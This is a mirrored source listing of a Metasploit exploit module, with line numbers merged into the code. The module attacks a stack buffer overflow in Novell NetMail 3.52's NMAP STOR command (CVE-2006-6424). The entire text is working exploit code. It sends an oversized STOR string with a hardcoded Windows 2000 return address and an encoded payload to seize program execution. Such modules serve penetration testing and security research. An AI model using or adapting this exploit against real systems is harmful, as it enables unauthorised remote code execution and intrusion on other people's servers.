Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/novell/nmap_stor.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR15verb. By sending an overly long string, an attacker can overwrite the16buffer and control program execution.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-6424' ],23[ 'OSVDB', '31363' ],24[ 'BID', '21725' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00\x0a\x0d\x20",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2006-12-23'))4445register_options([Opt::RPORT(689)])46end4748def exploit49connect50sock.get_once5152auth = "USER " + rand_text_english(10)53sock.put(auth + "\r\n")5455res = sock.get_once5657sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')58sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded5960if (res =~ /1000/)61print_status("Trying target #{target.name}...")62sock.put(sploit)63else64print_status("Not in Trusted Hosts.")65end6667handler68disconnect69end70end717273